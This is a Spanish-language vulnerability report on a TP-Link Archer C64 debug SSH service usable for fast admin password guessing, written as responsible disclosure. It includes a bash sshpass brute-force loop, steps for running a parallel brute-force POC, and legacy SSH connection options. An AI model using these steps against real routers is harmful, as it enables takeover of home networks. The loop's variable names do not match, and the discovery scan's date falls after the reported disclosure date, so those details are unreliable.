
informe
CVE-2026-8697 es un fallo lógico en el sistema operativo del TP-Link Archer C64 (llamado TPOS en el mensaje de depuración). Permite a cualquier usuario no privilegiado conectado al router omitir el límite de tasa de la interfaz web utilizando un servicio SSH residual. Un script sencillo en Python puede utilizarse para probar muchas contraseñas en poco tiempo y obtener acceso completo de administrador en el router.
POC: poc.py
El router tiene un servicio SSH de depuración que no otorga un shell al router, sino que simplemente se cierra cuando se ha ingresado la contraseña correcta. Pero utiliza la misma contraseña que la interfaz de administración y no tiene límites de tasa ni políticas de bloqueo. Por lo tanto, puede usarse como un oráculo de autenticación de alta velocidad para forzar la contraseña por fuerza bruta. Esta vulnerabilidad puede ser utilizada por dispositivos IoT maliciosos o comprometidos en la red para obtener acceso completo de administrador al router. Un atacante no puede obtener acceso al shell a través de esta interfaz, pero puede verificar fácilmente las credenciales para comprometer la interfaz de administración web principal.
Esta vulnerabilidad ha sido parcheada en la versión de firmware 1.15.0, que simplemente elimina el servicio. Para probar tu router, usa este comando (Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
Reemplaza la dirección IP con la dirección que usas para conectarte a la interfaz web del router. Si la salida es 0 o muestra succeeded!, entonces tu router es vulnerable. De lo contrario, no lo es.
En Windows, ejecuta lo siguiente en PowerShell:
tnc 192.168.0.1 -Port 22
Si muestra TcpTestSucceeded : True, entonces tu router es vulnerable. De lo contrario, si se cuelga indefinidamente o muestra False, entonces no es vulnerable.
El error es completamente lógico y no requiere corrupción de memoria, omisión de ASLR ni ganar condiciones de carrera.
En ese momento, estaba aprendiendo Nmap y por diversión decidí escanear mi router. No estaba buscando vulnerabilidades, pero noté un servicio SSH abierto.
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
El registro anterior muestra un servicio SSH ejecutando OpenSSH 6.6.0 (una versión heredada de 2014, pero la versión no importa para esto). Al ver la versión muy antigua, sospeché que podría ser utilizada por un atacante e intenté conectarme por SSH con la intención de obtener un shell y actualizar el firmware. En ese momento intentaba asegurar mi router, no encontrar vulnerabilidades. Sin embargo, conectarme a él presentó un problema interesante: la clave de host y los algoritmos de clave pública no eran compatibles con mi versión de OpenSSH. Usar -o tampoco funcionó en mi sistema, así que tuve que usar un contenedor debian:bullseye-slim que tiene un cliente OpenSSH compatible con los algoritmos diffie-hellman-group14-sha1 y ssh-dss.
Dentro del contenedor, después de instalar el cliente OpenSSH, pude conectarme al servidor SSH.
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
Usé esto y finalmente pude conectarme al servidor SSH, que me saludó con el mensaje TPOS 5 IPSSH Test y un aviso de contraseña. Sin embargo, después de ingresar la contraseña, la conexión simplemente se cerró inmediatamente. Incluso intenté ejecutar un comando directamente, pero no lo ejecutó. Me di cuenta de que no había shell, por lo que un atacante no podría obtener acceso a mi router. Entonces mi router está seguro, ¿verdad? Bueno, no realmente. Me di cuenta de que, aunque no obtenías acceso, sí podías saber si tu contraseña era correcta o no. Y esa contraseña era la misma que la de la interfaz web, y no había absolutamente ningún límite de tasa ni nada que impidiera un ataque de fuerza bruta. Fue entonces cuando se me ocurrió la idea de convertir esto en un CVE. Intenté automatizar el ataque. Primero probé usando sshpass en un bucle bash, pero no se podían usar múltiples contraseñas por conexión, así que intenté hacer un script en Python. Ese es el POC adjunto.
Para usar el POC, primero crea un venv e instala pexpect. Ten en cuenta que el script no usa el módulo pxssh de Pexpect, ya que no admite probar múltiples contraseñas en una sola conexión.
python3 -m venv venv
source venv/bin/activate
pip install pexpect
Guarda el script como poc.py y ejecútalo. Opcionalmente, puedes pasar una ruta a una lista de contraseñas separadas por nueva línea como primer argumento. Si no lo haces, usará los números del 1 al 100 como contraseñas (para pruebas de velocidad).
python3 poc.py list.txt
Puedes paralelizar el ataque ejecutando múltiples instancias con diferentes listas. Si ejecutas más de 3 instancias, comenzarás a ver errores de conexión. El script aún se asegura de que todas las contraseñas sean probadas.
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
Un atacante puede usar un dispositivo IoT malicioso o comprometido en la red para forzar la contraseña por fuerza bruta y obtener acceso de administrador a la interfaz de administración. No hay indicación para el usuario de que esto está sucediendo, y el atacante puede hacerlo durante mucho tiempo sin ser detectado. Una vez que el atacante tiene acceso a la interfaz de administración, puede cambiar la configuración de DNS para realizar secuestro de DNS, cambiar la contraseña del Wi-Fi para bloquear a los usuarios, usar enrutamiento estático para interceptar tráfico no cifrado o bloquear el acceso a la red enrutando a una IP inexistente, reenviar puertos, desactivar el firewall/ALG y más.
El vector de ataque CVSS 4.0 para esta vulnerabilidad es:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
, que se traduce en una puntuación de 9.3 Crítico. Mi razonamiento para cada métrica es el siguiente:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(nota: esto es más lento que el script POC ya que no prueba múltiples contraseñas por conexión)
AV:A.El fabricante (TP-Link) publicó esta vulnerabilidad con una puntuación de 8.7 (Alta)
con el vector:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Sin embargo, esta investigación sostiene que el Impacto en el Sistema Subsecuente no debería calificarse como "Ninguno". Debido a que el router actúa como la puerta de enlace principal para todos los dispositivos conectados:
Por lo tanto, una representación más precisa del riesgo para la red doméstica es 9.3/Crítico como se discutió anteriormente.
Actualizar el firmware del router a 1.15.0 Build 250729 o posterior solucionará esto.
Esta vulnerabilidad fue descubierta e informada por Tanjim Kamal.
| Fecha | Evento |
|---|
| 2026-02-26 | Vulnerabilidad reportada al Equipo de Seguridad de Producto de TP-Link |
| 2026-03-03 | Acuse de recibo inicial recibido |
| 2026-03-14 | TP-Link confirma que están en fase de verificación y remediación |
| 2026-04-22 | TP-Link dice que la vulnerabilidad ha sido corregida en la versión de firmware 1.15.0, pero el firmware aún no está disponible públicamente |
| 2026-04-24 | Firmware disponible públicamente |
| 2026-04-26 | Parche confirmado y solicitado ID CVE |
| 2026-05-15 | Recordatorio de plazo de 90 días enviado a TP-Link |
| 2026-05-15 | ID CVE reservado |
| 2026-05-29 | Divulgación pública |
| 2026-05-29 | Publicación del informe (este documento) |